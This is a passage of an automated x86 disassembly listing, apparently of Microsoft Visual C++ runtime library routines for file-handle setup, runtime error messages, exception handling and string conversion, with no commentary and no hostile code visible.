sub_41F2D9+148j ; sub_41F2D9+153j ... test esi, esi jz short loc_41F475 and byte ptr [esi], 0 inc esi loc_41F475: ; CODE XREF: sub_41F2D9+196j inc dword ptr [ecx] jmp loc_41F393 ; --------------------------------------------------------------------------- loc_41F47C: ; CODE XREF: sub_41F2D9+BDj ; sub_41F2D9+D5j test edi, edi jz short loc_41F483 and dword ptr [edi], 0 loc_41F483: ; CODE XREF: sub_41F2D9+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_41F2D9 endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_4CDB70 push ebx push ebp mov ebp, dword_42403C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_41F4DB call ebp mov esi, eax cmp esi, ebx jz short loc_41F4BC mov dword_4CDB70, 1 jmp short loc_41F4E4 ; --------------------------------------------------------------------------- loc_41F4BC: ; CODE XREF: ___:0041F4AEj nop call near ptr 2600A9Fh mov edi, eax cmp edi, ebx jz loc_41F5B6 mov dword_4CDB70, 2 jmp loc_41F56A ; --------------------------------------------------------------------------- loc_41F4DB: ; CODE XREF: ___:0041F4A6j cmp eax, 1 jnz loc_41F565 loc_41F4E4: ; CODE XREF: ___:0041F4BAj cmp esi, ebx jnz short loc_41F4F4 call ebp mov esi, eax cmp esi, ebx jz loc_41F5B6 loc_41F4F4: ; CODE XREF: ___:0041F4E6j cmp [esi], bx mov eax, esi jz short loc_41F509 loc_41F4FB: ; CODE XREF: ___:0041F500j ; ___:0041F507j inc eax inc eax cmp [eax], bx jnz short loc_41F4FB inc eax inc eax cmp [eax], bx jnz short loc_41F4FB loc_41F509: ; CODE XREF: ___:0041F4F9j sub eax, esi mov edi, dword_424150 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_41F55A push ebp call sub_417B89 cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_41F55A push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_41F556 push dword ptr [esp+10h] call sub_417C3B pop ecx mov [esp+10h], ebx loc_41F556: ; CODE XREF: ___:0041F546j mov ebx, [esp+10h] loc_41F55A: ; CODE XREF: ___:0041F526j ; ___:0041F535j push esi nop call near ptr 2600D4Fh mov eax, ebx jmp short loc_41F5B8 ; --------------------------------------------------------------------------- loc_41F565: ; CODE XREF: ___:0041F4DEj cmp eax, 2 jnz short loc_41F5B6 loc_41F56A: ; CODE XREF: ___:0041F4D6j cmp edi, ebx jnz short loc_41F57A nop call near ptr 2600A9Fh mov edi, eax cmp edi, ebx jz short loc_41F5B6 loc_41F57A: ; CODE XREF: ___:0041F56Cj cmp [edi], bl mov eax, edi jz short loc_41F58A loc_41F580: ; CODE XREF: ___:0041F583j ; ___:0041F588j inc eax cmp [eax], bl jnz short loc_41F580 inc eax cmp [eax], bl jnz short loc_41F580 loc_41F58A: ; CODE XREF: ___:0041F57Ej sub eax, edi inc eax mov ebp, eax push ebp call sub_417B89 mov esi, eax pop ecx cmp esi, ebx jnz short loc_41F5A0 xor esi, esi jmp short loc_41F5AB ; --------------------------------------------------------------------------- loc_41F5A0: ; CODE XREF: ___:0041F59Aj push ebp push edi push esi call sub_417390 add esp, 0Ch loc_41F5AB: ; CODE XREF: ___:0041F59Ej push edi nop call near ptr 2600D6Dh mov eax, esi jmp short loc_41F5B8 ; --------------------------------------------------------------------------- loc_41F5B6: ; CODE XREF: ___:0041F4C6j ; ___:0041F4EEj ... xor eax, eax loc_41F5B8: ; CODE XREF: ___:0041F563j ; ___:0041F5B4j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_417B89 mov esi, eax pop ecx test esi, esi jnz short loc_41F5DF push 1Bh call sub_419CDA pop ecx loc_41F5DF: ; CODE XREF: ___:0041F5D5j mov dword_4CECE0, esi mov dword_4CEDE0, 20h lea eax, [esi+100h] loc_41F5F5: ; CODE XREF: ___:0041F611j cmp esi, eax jnb short loc_41F613 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4CECE0 add esi, 8 add eax, 100h jmp short loc_41F5F5 ; --------------------------------------------------------------------------- loc_41F613: ; CODE XREF: ___:0041F5F7j lea eax, [esp+10h] push eax nop call near ptr 2820000h cmp word ptr [esp+42h], 0 jz loc_41F6EF mov eax, [esp+44h] test eax, eax jz loc_41F6EF mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_41F649 mov esi, eax loc_41F649: ; CODE XREF: ___:0041F645j cmp dword_4CEDE0, esi jge short loc_41F6A3 mov edi, offset dword_4CECE4 loc_41F656: ; CODE XREF: ___:0041F699j push 100h call sub_417B89 test eax, eax pop ecx jz short loc_41F69D add dword_4CEDE0, 20h mov [edi], eax lea ecx, [eax+100h] loc_41F674: ; CODE XREF: ___:0041F68Ej cmp eax, ecx jnb short loc_41F690 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_41F674 ; --------------------------------------------------------------------------- loc_41F690: ; CODE XREF: ___:0041F676j add edi, 4 cmp dword_4CEDE0, esi jl short loc_41F656 jmp short loc_41F6A3 ; --------------------------------------------------------------------------- loc_41F69D: ; CODE XREF: ___:0041F663j mov esi, dword_4CEDE0 loc_41F6A3: ; CODE XREF: ___:0041F64Fj ; ___:0041F69Bj xor edi, edi test esi, esi jle short loc_41F6EF loc_41F6A9: ; CODE XREF: ___:0041F6EDj mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_41F6E6 mov cl, [ebp+0] test cl, 1 jz short loc_41F6E6 test cl, 8 jnz short loc_41F6C8 push eax call near ptr 2600000h nop test eax, eax jz short loc_41F6E6 loc_41F6C8: ; CODE XREF: ___:0041F6BBj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4CECE0[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_41F6E6: ; CODE XREF: ___:0041F6AEj ; ___:0041F6B6j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_41F6A9 loc_41F6EF: ; CODE XREF: ___:0041F624j ; ___:0041F630j ... xor ebx, ebx loc_41F6F1: ; CODE XREF: ___:0041F754j mov eax, dword_4CECE0 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_41F74C test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_41F70C push 0FFFFFFF6h pop eax jmp short loc_41F716 ; --------------------------------------------------------------------------- loc_41F70C: ; CODE XREF: ___:0041F705j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_41F716: ; CODE XREF: ___:0041F70Aj push eax call near ptr 2600773h nop mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41F73B push edi call near ptr 2600000h nop test eax, eax jz short loc_41F73B and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_41F741 loc_41F73B: ; CODE XREF: ___:0041F722j ; ___:0041F72Dj or byte ptr [esi+4], 40h jmp short loc_41F750 ; --------------------------------------------------------------------------- loc_41F741: ; CODE XREF: ___:0041F739j cmp eax, 3 jnz short loc_41F750 or byte ptr [esi+4], 8 jmp short loc_41F750 ; --------------------------------------------------------------------------- loc_41F74C: ; CODE XREF: ___:0041F6FDj or byte ptr [esi+4], 80h loc_41F750: ; CODE XREF: ___:0041F73Fj ; ___:0041F744j ... inc ebx cmp ebx, 3 jl short loc_41F6F1 push dword_4CEDE0 nop call near ptr 26009E3h pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F774 proc near ; DATA XREF: sub_41CFF1+Ao ; sub_41D120+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_41F814 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_41F7A7: ; CODE XREF: sub_41F774+90j cmp esi, 0FFFFFFFFh jz short loc_41F80D lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_41F7FB push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_41F7FB js short loc_41F806 mov edi, [ebx+8] push ebx call sub_4181A0 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_4181E2 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_418276 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_41F7FB: ; CODE XREF: sub_41F774+40j ; sub_41F774+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_41F7A7 ; --------------------------------------------------------------------------- loc_41F806: ; CODE XREF: sub_41F774+54j mov eax, 0 jmp short loc_41F829 ; --------------------------------------------------------------------------- loc_41F80D: ; CODE XREF: sub_41F774+36j mov eax, 1 jmp short loc_41F829 ; --------------------------------------------------------------------------- loc_41F814: ; CODE XREF: sub_41F774+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_4181E2 add esp, 8 pop ebp mov eax, 1 loc_41F829: ; CODE XREF: sub_41F774+97j ; sub_41F774+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41F774 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_4181E2 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_41F84C proc near ; CODE XREF: sub_419CDA+9p mov eax, dword_4CDA08 cmp eax, 1 jz short loc_41F863 test eax, eax jnz short locret_41F884 cmp dword_433C64, 1 jnz short locret_41F884 loc_41F863: ; CODE XREF: sub_41F84C+8j push 0FCh call sub_41F885 mov eax, dword_4CDB74 pop ecx test eax, eax jz short loc_41F879 call eax loc_41F879: ; CODE XREF: sub_41F84C+29j push 0FFh call sub_41F885 pop ecx locret_41F884: ; CODE XREF: sub_41F84C+Cj ; sub_41F84C+15j retn sub_41F84C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F885 proc near ; CODE XREF: sub_419CDA+12p ; sub_41F84C+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_4362F8 loc_41F898: ; CODE XREF: sub_41F885+20j cmp edx, [eax] jz short loc_41F8A7 add eax, 8 inc ecx cmp eax, offset off_436388 jl short loc_41F898 loc_41F8A7: ; CODE XREF: sub_41F885+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_4362F8[esi] jnz loc_41F9D5 mov eax, dword_4CDA08 cmp eax, 1 jz loc_41F9AF test eax, eax jnz short loc_41F8D8 cmp dword_433C64, 1 jz loc_41F9AF loc_41F8D8: ; CODE XREF: sub_41F885+44j cmp edx, 0FCh jz loc_41F9D5 lea eax, [ebp+var_1A4] push 104h push eax push 0 nop call near ptr 2660000h test eax, eax jnz short loc_41F90F lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_4179C0 pop ecx pop ecx loc_41F90F: ; CODE XREF: sub_41F885+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_417AB0 inc eax pop ecx cmp eax, 3Ch jbe short loc_41F952 lea eax, [ebp+var_1A4] push eax call sub_417AB0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_418C10 add esp, 10h loc_41F952: ; CODE XREF: sub_41F885+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_4179C0 lea eax, [ebp+var_A0] push edi push eax call sub_4179D0 lea eax, [ebp+var_A0] push offset asc_424BA8 ; "\n\n" push eax call sub_4179D0 push off_4362FC[esi] lea eax, [ebp+var_A0] push eax call sub_4179D0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_42105F add esp, 2Ch pop edi jmp short loc_41F9D5 ; --------------------------------------------------------------------------- loc_41F9AF: ; CODE XREF: sub_41F885+3Cj ; sub_41F885+4Dj lea eax, [ebp+arg_0] lea esi, off_4362FC[esi] push 0 push eax push dword ptr [esi] call sub_417AB0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call near ptr 2600773h nop push eax call near ptr 2640000h nop loc_41F9D5: ; CODE XREF: sub_41F885+2Ej ; sub_41F885+59j ... pop esi leave retn sub_41F885 endp ; =============== S U B R O U T I N E ======================================= sub_41F9D8 proc near ; CODE XREF: sub_419D23+6Cp ; sub_41E248+32p ... arg_0 = dword ptr 4 inc dword_4CDB78 push 1000h call sub_417B89 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_41FA01 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_41FA12 ; --------------------------------------------------------------------------- loc_41FA01: ; CODE XREF: sub_41F9D8+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_41FA12: ; CODE XREF: sub_41F9D8+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_41F9D8 endp ; =============== S U B R O U T I N E ======================================= sub_41FA1C proc near ; CODE XREF: sub_419D23+61p ; sub_41A8A2+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4CEDE0 jb short loc_41FA2B xor eax, eax retn ; --------------------------------------------------------------------------- loc_41FA2B: ; CODE XREF: sub_41FA1C+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4CECE0[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_41FA1C endp ; =============== S U B R O U T I N E ======================================= sub_41FA42 proc near ; DATA XREF: ___:00426020o mov eax, dword_4CECC0 push esi push 14h test eax, eax pop esi jnz short loc_41FA56 mov eax, 200h jmp short loc_41FA5C ; --------------------------------------------------------------------------- loc_41FA56: ; CODE XREF: sub_41FA42+Bj cmp eax, esi jge short loc_41FA61 mov eax, esi loc_41FA5C: ; CODE XREF: sub_41FA42+12j mov dword_4CECC0, eax loc_41FA61: ; CODE XREF: sub_41FA42+16j push 4 push eax call sub_4210E8 pop ecx mov dword_4CDCB0, eax test eax, eax pop ecx jnz short loc_41FA95 push 4 push esi mov dword_4CECC0, esi call sub_4210E8 pop ecx mov dword_4CDCB0, eax test eax, eax pop ecx jnz short loc_41FA95 push 1Ah call sub_419CDA pop ecx loc_41FA95: ; CODE XREF: sub_41FA42+30j ; sub_41FA42+49j xor ecx, ecx mov eax, offset off_436388 loc_41FA9C: ; CODE XREF: sub_41FA42+6Ej mov edx, dword_4CDCB0 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_436608 jl short loc_41FA9C xor edx, edx mov ecx, offset dword_436398 loc_41FAB9: ; CODE XREF: sub_41FA42+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4CECE0[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_41FAD6 test eax, eax jnz short loc_41FAD9 loc_41FAD6: ; CODE XREF: sub_41FA42+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_41FAD9: ; CODE XREF: sub_41FA42+92j add ecx, 20h inc edx cmp ecx, offset dword_4363F8 jl short loc_41FAB9 pop esi retn sub_41FA42 endp ; =============== S U B R O U T I N E ======================================= sub_41FAE7 proc near ; DATA XREF: ___:00426030o ; FUNCTION CHUNK AT 00421199 SIZE 00000058 BYTES call sub_41A82C cmp byte_4CD9F4, 0 jz short locret_41FAFA jmp loc_421199 ; --------------------------------------------------------------------------- locret_41FAFA: ; CODE XREF: sub_41FAE7+Cj retn sub_41FAE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FAFB proc near ; CODE XREF: sub_419E38+2D4p ; sub_419E38+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_41FB07 pop ebp retn ; --------------------------------------------------------------------------- loc_41FB07: ; CODE XREF: sub_41FAFB+8j cmp dword_4CDA48, 0 jnz short loc_41FB22 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_41FB54 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_41FB22: ; CODE XREF: sub_41FAFB+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_433E7C push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4CDA58 call near ptr 27B0000h nop test eax, eax jz short loc_41FB54 cmp [ebp+arg_0], 0 jz short loc_41FB61 loc_41FB54: ; CODE XREF: sub_41FAFB+1Ej ; sub_41FAFB+51j mov dword_4CD9B4, 2Ah or eax, 0FFFFFFFFh loc_41FB61: ; CODE XREF: sub_41FAFB+57j pop ebp retn sub_41FAFB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FB63 proc near ; CODE XREF: sub_41A642+5Ep ; sub_41EB6C+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424BE8 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4CDB7C xor ebx, ebx cmp eax, ebx jnz short loc_41FBD2 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_4248D8 push esi nop call near ptr 25F0000h test eax, eax jz short loc_41FBB0 mov eax, esi jmp short loc_41FBCD ; --------------------------------------------------------------------------- loc_41FBB0: ; CODE XREF: sub_41FB63+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_436EF4 push esi push ebx nop call near ptr 25F07EDh test eax, eax jz loc_41FC98 push 2 pop eax loc_41FBCD: ; CODE XREF: sub_41FB63+4Bj mov dword_4CDB7C, eax loc_41FBD2: ; CODE XREF: sub_41FB63+2Fj cmp eax, 2 jnz short loc_41FBFB mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_41FBE3 mov eax, dword_4CDA48 loc_41FBE3: ; CODE XREF: sub_41FB63+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax nop call near ptr 25F07EDh jmp loc_41FC9A ; --------------------------------------------------------------------------- loc_41FBFB: ; CODE XREF: sub_41FB63+72j cmp eax, 1 jnz loc_41FC98 cmp [ebp+arg_10], ebx jnz short loc_41FC11 mov eax, dword_4CDA58 mov [ebp+arg_10], eax loc_41FC11: ; CODE XREF: sub_41FB63+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] nop call near ptr 2630000h mov [ebp+var_20], eax cmp eax, ebx jz short loc_41FC98 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_417330 add esp, 0Ch jmp short loc_41FC67 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_41FC67: ; CODE XREF: sub_41FB63+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_41FC98 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] nop call near ptr 2630000h cmp eax, ebx jz short loc_41FC98 push [ebp+arg_C] push eax push esi push [ebp+arg_0] nop call near ptr 25F0000h jmp short loc_41FC9A ; --------------------------------------------------------------------------- loc_41FC98: ; CODE XREF: sub_41FB63+61j ; sub_41FB63+9Bj ... xor eax, eax loc_41FC9A: ; CODE XREF: sub_41FB63+93j ; sub_41FB63+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41FB63 endp ; =============== S U B R O U T I N E ======================================= sub_41FCAC proc near ; CODE XREF: sub_41FEC6:loc_42003Ep push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4CECE0 loc_41FCBB: ; CODE XREF: sub_41FCAC+48j mov eax, [ecx] test eax, eax jz short loc_41FCF8 lea edx, [eax+100h] loc_41FCC7: ; CODE XREF: sub_41FCAC+28j cmp eax, edx jnb short loc_41FCE7 test byte ptr [eax+4], 1 jz short loc_41FCD6 add eax, 8 jmp short loc_41FCC7 ; --------------------------------------------------------------------------- loc_41FCD6: ; CODE XREF: sub_41FCAC+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41FD3B loc_41FCE7: ; CODE XREF: sub_41FCAC+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4CEDE0 jl short loc_41FCBB jmp short loc_41FD3B ; --------------------------------------------------------------------------- loc_41FCF8: ; CODE XREF: sub_41FCAC+13j mov esi, 100h push esi call sub_417B89 test eax, eax pop ecx jz short loc_41FD3B add dword_4CEDE0, 20h lea ecx, ds:4CECE0h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_41FD1E: ; CODE XREF: sub_41FCAC+88j cmp eax, edx jnb short loc_41FD36 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_41FD1E ; --------------------------------------------------------------------------- loc_41FD36: ; CODE XREF: sub_41FCAC+74j shl edi, 5 mov ebx, edi loc_41FD3B: ; CODE XREF: sub_41FCAC+39j ; sub_41FCAC+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_41FCAC endp ; =============== S U B R O U T I N E ======================================= sub_41FD41 proc near ; CODE XREF: sub_41FEC6+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4CEDE0 push edi jnb short loc_41FDA1 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4CECE0h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_41FDA1 cmp dword_433C64, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_41FD97 sub eax, 0 jz short loc_41FD8E dec eax jz short loc_41FD89 dec eax jnz short loc_41FD97 push ebx push 0FFFFFFF4h jmp short loc_41FD91 ; --------------------------------------------------------------------------- loc_41FD89: ; CODE XREF: sub_41FD41+3Ej push ebx push 0FFFFFFF5h jmp short loc_41FD91 ; --------------------------------------------------------------------------- loc_41FD8E: ; CODE XREF: sub_41FD41+3Bj push ebx push 0FFFFFFF6h loc_41FD91: ; CODE XREF: sub_41FD41+46j ; sub_41FD41+4Bj call near ptr 25E0630h nop loc_41FD97: ; CODE XREF: sub_41FD41+36j ; sub_41FD41+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_41FDB5 ; --------------------------------------------------------------------------- loc_41FDA1: ; CODE XREF: sub_41FD41+Cj ; sub_41FD41+28j and dword_4CD9B8, 0 mov dword_4CD9B4, 9 or eax, 0FFFFFFFFh loc_41FDB5: ; CODE XREF: sub_41FD41+5Ej pop edi pop esi retn sub_41FD41 endp ; =============== S U B R O U T I N E ======================================= sub_41FDB8 proc near ; CODE XREF: sub_41A6B7+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4CEDE0 push edi jnb short loc_41FE1B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4CECE0h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_41FE1B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41FE1B cmp dword_433C64, 1 jnz short loc_41FE11 xor eax, eax sub ecx, eax jz short loc_41FE08 dec ecx jz short loc_41FE03 dec ecx jnz short loc_41FE11 push eax push 0FFFFFFF4h jmp short loc_41FE0B ; --------------------------------------------------------------------------- loc_41FE03: ; CODE XREF: sub_41FDB8+41j push eax push 0FFFFFFF5h jmp short loc_41FE0B ; --------------------------------------------------------------------------- loc_41FE08: ; CODE XREF: sub_41FDB8+3Ej push eax push 0FFFFFFF6h loc_41FE0B: ; CODE XREF: sub_41FDB8+49j ; sub_41FDB8+4Ej nop call near ptr 25E0630h loc_41FE11: ; CODE XREF: sub_41FDB8+38j ; sub_41FDB8+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_41FE2F ; --------------------------------------------------------------------------- loc_41FE1B: ; CODE XREF: sub_41FDB8+Cj ; sub_41FDB8+2Aj ... and dword_4CD9B8, 0 mov dword_4CD9B4, 9 or eax, 0FFFFFFFFh loc_41FE2F: ; CODE XREF: sub_41FDB8+61j pop edi pop esi retn sub_41FDB8 endp ; =============== S U B R O U T I N E ======================================= sub_41FE32 proc near ; CODE XREF: sub_41A6B7+32p ; sub_41A6B7+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4CEDE0 jnb short loc_41FE5A mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4CECE0[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_41FE5A mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_41FE5A: ; CODE XREF: sub_41FE32+Aj ; sub_41FE32+23j and dword_4CD9B8, 0 mov dword_4CD9B4, 9 or eax, 0FFFFFFFFh retn sub_41FE32 endp ; =============== S U B R O U T I N E ======================================= sub_41FE6F proc near ; CODE XREF: sub_41A795+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4CEDE0 jnb short loc_41FEB8 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4CECE0[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_41FEB8 push eax call sub_41FE32 pop ecx push eax call near ptr 25E00D8h nop test eax, eax jnz short loc_41FEAD call near ptr 2650C0Ah nop jmp short loc_41FEAF ; --------------------------------------------------------------------------- loc_41FEAD: ; CODE XREF: sub_41FE6F+34j xor eax, eax loc_41FEAF: ; CODE XREF: sub_41FE6F+3Cj test eax, eax jz short locret_41FEC5 mov dword_4CD9B8, eax loc_41FEB8: ; CODE XREF: sub_41FE6F+Aj ; sub_41FE6F+22j mov dword_4CD9B4, 9 or eax, 0FFFFFFFFh locret_41FEC5: ; CODE XREF: sub_41FE6F+42j retn sub_41FE6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEC6 proc near ; CODE XREF: sub_41A96C+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_41FEEC mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_41FEF7 ; --------------------------------------------------------------------------- loc_41FEEC: ; CODE XREF: sub_41FEC6+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_41FEF7: ; CODE XREF: sub_41FEC6+24j mov eax, 8000h test ecx, eax jnz short loc_41FF11 test ch, 40h jnz short loc_41FF0D cmp dword_4CDC88, eax jz short loc_41FF11 loc_41FF0D: ; CODE XREF: sub_41FEC6+3Dj or [ebp+var_1], 80h loc_41FF11: ; CODE XREF: sub_41FEC6+38j ; sub_41FEC6+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_41FF49 dec eax jz short loc_41FF40 dec eax jz short loc_41FF37 loc_41FF22: ; CODE XREF: sub_41FEC6+9Fj ; sub_41FEC6+E8j ... mov dword_4CD9B4, 16h mov dword_4CD9B8, ebx jmp 